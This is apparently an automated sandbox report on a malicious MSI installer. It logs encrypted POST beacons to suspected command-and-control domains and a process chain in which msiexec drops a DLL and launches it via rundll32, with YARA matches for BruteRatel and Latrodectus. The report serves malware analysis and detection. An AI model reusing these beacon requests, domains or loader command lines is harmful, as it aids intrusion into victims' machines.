2024-11-13 17:24:01 UTC	748	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:24:01 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oyVBkPNy41tq298pu4n33CS1Ev%2BnEqwvov1tbJoTlZW%2FNTge1DMj5c4gyx5l2mcBk4DIjkbAkIvqmhhmW%2FKK9QxYFih7W3sGUqWzgShQzOLRfkEQu6bv7NPfCV71VaJ0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2073f11e3925fb-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=138192&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=20897&cwnd=32&unsent_bytes=0&cid=b5e9611d9260418d&ts=744&x=0"
2024-11-13 17:24:01 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:24:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.6	50094	104.21.15.162	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:24:02 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: ergiholim.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:24:02 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:24:02 UTC	749	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:24:02 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NGtY3IjLAUJPWyE1wcH3yqVlbnrAuxWmh%2B%2FQ10uhPIukqT4Vnr31VlkxbEHcWHOdDp4scBOZp7p4617%2FiRZ1Lozx28cJeidDuygO60zpYrapfQUZdEKrrlEQejZUWDAE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2073f918922ccb-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1575&sent=4&recv=5&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1167&delivery_rate=1960731&cwnd=114&unsent_bytes=0&cid=f174f0bd30c35b1b&ts=732&x=0"
2024-11-13 17:24:02 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:24:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.6	50095	104.21.92.105	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:24:03 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: rolefenik.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:24:03 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:24:04 UTC	760	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:24:04 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=77Yn8nPOS%2BnC%2BOaDiM2kr1yN5VP9DXBfkemMJ%2Ba%2BB8%2BXcj1T8yTIEFb%2FewfIpdU95t9DVnG5tuzFaf%2B9m1WQ9X6WDYhpW9%2B6EsZKY4Nb4YfkIyMX7zJBvjiB4qVl%2Fj4Z"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e207403981bd791-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=132759&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=19707&cwnd=32&unsent_bytes=0&cid=3e8c045f2fe6e30b&ts=876&x=0"
2024-11-13 17:24:04 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:24:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	12:20:01
Start date:	13/11/2024
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\msiexec.exe" /i "C:\Users\user\Desktop\medk.msi"
Imagebase:	0x7ff719990000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:20:01
Start date:	13/11/2024
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\msiexec.exe /V
Imagebase:	0x7ff719990000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	12:20:02
Start date:	13/11/2024
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\syswow64\MsiExec.exe -Embedding 31D436F1086AC158C6FA541C36CED057
Imagebase:	0x8c0000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	12:20:02
Start date:	13/11/2024
Path:	C:\Windows\Installer\MSI8F42.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Installer\MSI8F42.tmp" /DontWait C:/Windows/SysWOW64/rundll32.exe C:\Users\user\AppData\Roaming\tab.dll, Object
Imagebase:	0x2f0000
File size:	399'328 bytes
MD5 hash:	B9545ED17695A32FACE8C3408A6A3553
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	12:20:03
Start date:	13/11/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\rundll32.exe" C:\Users\user\AppData\Roaming\tab.dll, Object
Imagebase:	0x3b0000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	12:20:03
Start date:	13/11/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\SysWOW64\rundll32.exe" C:\Users\user\AppData\Roaming\tab.dll, Object
Imagebase:	0x7ff64f140000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_BruteRatel_1, Description: Yara detected BruteRatel, Source: 00000006.00000003.2232622768.000002931397B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BruteRatel_1, Description: Yara detected BruteRatel, Source: 00000006.00000003.2232567502.000002931397B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BruteRatel_1, Description: Yara detected BruteRatel, Source: 00000006.00000003.2232697308.000002931397B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	12:20:12
Start date:	13/11/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff609140000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Latrodectus, Description: Yara detected Latrodectus, Source: 00000008.00000002.4591745236.000000000E21B000.00000004.00000010.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	1.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	38.8%
Total number of Nodes:	384
Total number of Limit Nodes:	11

Executed Functions

Function 002F4BA0 Relevance: 36.5, APIs: 24, Instructions: 502
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002F57C0: GetCurrentProcess.KERNEL32(00000008,?,7642E7B1,?,-00000010), ref: 002F57D0
Part of subcall function 002F57C0: OpenProcessToken.ADVAPI32(00000000), ref: 002F57D7

CoInitialize.OLE32(00000000), ref: 002F4C15
CoCreateInstance.OLE32(003372B0,00000000,00000004,00345104,00000000,?), ref: 002F4C45
CoUninitialize.COMBASE ref: 002F5187
_com_issue_error.COMSUPP ref: 002F51B5

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: Process$CreateCurrentInitializeInstanceOpenTokenUninitialize_com_issue_error
String ID:
API String ID: 928366108-0
Opcode ID: 831deee395830faf24e23965e84f9d6f5a6795b107fc41cab2e0d874ce3eed35
Instruction ID: ba9ef3d17c9252774a1b85b1c4baf25edb558871304246d23c8297c55d37ae5c
Opcode Fuzzy Hash: 831deee395830faf24e23965e84f9d6f5a6795b107fc41cab2e0d874ce3eed35
Instruction Fuzzy Hash: 7C22B070D0434CDFEB11CFA8C848BAEFBB8AF45344F1481A9E509EB281D7759A45CB51

Function 002F6A50 Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 461
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 002F6AC8
OpenProcessToken.ADVAPI32(00000000,00000008,00000000), ref: 002F6AD5
CloseHandle.KERNEL32(00000000), ref: 002F6AF5

Strings

S-1-5-18, xrefs: 002F6B69

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: Process$CloseCurrentHandleOpenToken
String ID: S-1-5-18
API String ID: 4052875653-4289277601
Opcode ID: 4850dc48c0882f7f6142314f605d342c63ef12697aac16263c02ca36a3c5392e
Instruction ID: 29ec5ec0351419e3d06c02b5e37c3f7ed174b87d04d655c0e2b0312c5aec9ab1
Opcode Fuzzy Hash: 4850dc48c0882f7f6142314f605d342c63ef12697aac16263c02ca36a3c5392e
Instruction Fuzzy Hash: BA02A27091021ECBDF14DFA4C9587BEFBB5EF05354F148268DA42AB281EB70AE15CB90

Function 002F57C0 Relevance: 6.0, APIs: 4, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00000008,?,7642E7B1,?,-00000010), ref: 002F57D0
OpenProcessToken.ADVAPI32(00000000), ref: 002F57D7
GetTokenInformation.KERNELBASE(?,00000014(TokenIntegrityLevel),?,00000004,?), ref: 002F580C
CloseHandle.KERNEL32(?), ref: 002F5822

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: ProcessToken$CloseCurrentHandleInformationOpen
String ID:
API String ID: 215268677-0
Opcode ID: 95382b8a0ce82ad2a1548dc512dfc15aab55f05581560106cf68c1a25517dcdd
Instruction ID: c2e64a68886296834504bfd8548915a8c75c4f39b6ca18893bee44659c4a808c
Opcode Fuzzy Hash: 95382b8a0ce82ad2a1548dc512dfc15aab55f05581560106cf68c1a25517dcdd
Instruction Fuzzy Hash: C8F036B4148305AFE7119F10ED45BAABBECFB44741F508829FE84C2160D379955CDB63

Function 002FCDB0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32(7642E7B1,?,?,?,?,?,?,?,?,?,003356D5,000000FF), ref: 002FCDE8

Part of subcall function 002F1F80: LocalAlloc.KERNEL32(00000040,00000000,?,?,vector too long,002F4251,7642E7B1,00000000,?,00000000,?,?,?,00334400,000000FF,?), ref: 002F1F9D

ExitProcess.KERNEL32 ref: 002FCEB1

Part of subcall function 002F6600: CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?), ref: 002F667E

Strings

Full command line:, xrefs: 002FCE13

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: AllocCommandCreateExitFileLineLocalProcess
String ID: Full command line:
API String ID: 1878577176-831861440
Opcode ID: f8e7d77de38b655c46ee8812769692de45d0e9866159d92d3d66fb9c447b9b58
Instruction ID: 864e557a73d9a7aaae7b9f0f2dd9f5939c4eb6458b1625c3c00159f4060c69d0
Opcode Fuzzy Hash: f8e7d77de38b655c46ee8812769692de45d0e9866159d92d3d66fb9c447b9b58
Instruction Fuzzy Hash: FA21B17192021CABCB15FB60CD55BBEB3A5AF44780F644138E502AB292EF745A28CB91

Function 002F5E40 Relevance: 4.6, APIs: 3, Instructions: 85
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),00000000,00000000,002F5E18,7642E7B1,?), ref: 002F5EB4
GetLastError.KERNEL32(?,TokenIntegrityLevel,00000000,00000000,002F5E18,7642E7B1,?), ref: 002F5EBE
GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),?,00000000,00000000,?,TokenIntegrityLevel,00000000,00000000,002F5E18,7642E7B1,?), ref: 002F5F1A

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: InformationToken$ErrorLast
String ID:
API String ID: 2567405617-0
Opcode ID: c08358f08913c92d8083d7e69b7dcfae60ddb67ce2bc620f430478c238723531
Instruction ID: 7b71daf6c2bcb5dd36f4c4d3f94e624da182dfa361158f6e83f95bae4361f19f
Opcode Fuzzy Hash: c08358f08913c92d8083d7e69b7dcfae60ddb67ce2bc620f430478c238723531
Instruction Fuzzy Hash: B1318EB1A106199FD724CF59CC85BBFFBF9FB44710F10452DE616A7680DBB5A9008B90

Function 0032591D Relevance: 2.6, APIs: 2, Instructions: 67
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(00000000,00000000,00317375,00325458,?,00316CE7,00000000,A82,00000000,?,?,?,0032363B,?,00000000,00000004), ref: 00325921
SetLastError.KERNEL32(00000000), ref: 003259C3

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 9758e4eea8342c00126f0fbfe6c42fda5826e9fa8a5d34b482f2fc621f174468
Instruction ID: d6fc3989d390b62c5ec9ea535bbc20e134c5d8e67eaef7af43e69a2d2613a691
Opcode Fuzzy Hash: 9758e4eea8342c00126f0fbfe6c42fda5826e9fa8a5d34b482f2fc621f174468
Instruction Fuzzy Hash: B9112B75219B32EED7136B74BCCAE2B264CAB027B9F100520F6059D1A1EFB0DE4491A0

Function 003270BB Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,?,?,0032596A,00000001,00000364,?,00000006,000000FF,?,00316CE7,00000000,A82,00000000), ref: 003270FC

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 7764497418bf9ed09dcc9c0beda91b782de01a391ae7f768562779938e61a3aa
Instruction ID: 8354a71773e0599ca98d500b95c2218334c6e700e972a91c3b92675ab5e14197
Opcode Fuzzy Hash: 7764497418bf9ed09dcc9c0beda91b782de01a391ae7f768562779938e61a3aa
Instruction Fuzzy Hash: A6F0E23120C2306AEB335A22BC02B5BB75DBF517B1F168021BC149E190CF30FC1186E1

Non-executed Functions

Function 002F52F0 Relevance: 54.7, APIs: 14, Strings: 17, Instructions: 402
libraryloadersleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryW.KERNEL32(?,00000104,00000000,?,?,?,?,?), ref: 002F549C
GetForegroundWindow.USER32(00000000,?,?,?,?,?), ref: 002F551D
ShellExecuteExW.SHELL32(?), ref: 002F5601
ShellExecuteExW.SHELL32(?), ref: 002F5637
GetModuleHandleW.KERNEL32(Kernel32.dll,GetProcessId,?,?,?,?,?,?), ref: 002F567C
GetProcAddress.KERNEL32(00000000), ref: 002F5685
AllowSetForegroundWindow.USER32(00000000), ref: 002F568B
GetModuleHandleW.KERNEL32(Kernel32.dll,GetProcessId,?,?,?,?,?,?), ref: 002F56AB
GetProcAddress.KERNEL32(00000000), ref: 002F56AE
Sleep.KERNEL32(00000064,?,?,?,?,?,?), ref: 002F56CA
EnumWindows.USER32(002F5830,?), ref: 002F56DF
BringWindowToTop.USER32(00000000), ref: 002F56F4
WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,?,?), ref: 002F5711
GetExitCodeProcess.KERNEL32(?,?), ref: 002F571B

Strings

open, xrefs: 002F54D5
<S4, xrefs: 002F5561
.bat, xrefs: 002F5422
.cmd, xrefs: 002F545F
Kernel32.dll, xrefs: 002F5677, 002F56A6
Verb:<, xrefs: 002F559E
Window Visibility:, xrefs: 002F55E3
FilePath:<, xrefs: 002F5589
Hidden, xrefs: 002F55D6
Visible, xrefs: 002F55DB, 002F55EA
%s\System32\cmd.exe, xrefs: 002F54A9
/C ""%s" %s", xrefs: 002F54C1
ShellExecuteInfo members:, xrefs: 002F5540
runas, xrefs: 002F54EC
GetProcessId, xrefs: 002F5672, 002F56A1
Parameters:<, xrefs: 002F55C6
Directory:<, xrefs: 002F55B2

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: Window$AddressExecuteForegroundHandleModuleProcShellWindows$AllowBringCodeDirectoryEnumExitObjectProcessSingleSleepWait
String ID: %s\System32\cmd.exe$.bat$.cmd$/C ""%s" %s"$<S4$Directory:<$FilePath:<$GetProcessId$Hidden$Kernel32.dll$Parameters:<$ShellExecuteInfo members:$Verb:<$Visible$Window Visibility:$open$runas
API String ID: 697762045-2715264502
Opcode ID: 0dbf86bcaa948ac28285fe6c08f34bde7eaa6c41158bd1a7c5c173b1d7009e0b
Instruction ID: 39d7a80c77f4435f134dc280a05cfc218df1581a75f800d14fb0c8966a1ac63d
Opcode Fuzzy Hash: 0dbf86bcaa948ac28285fe6c08f34bde7eaa6c41158bd1a7c5c173b1d7009e0b
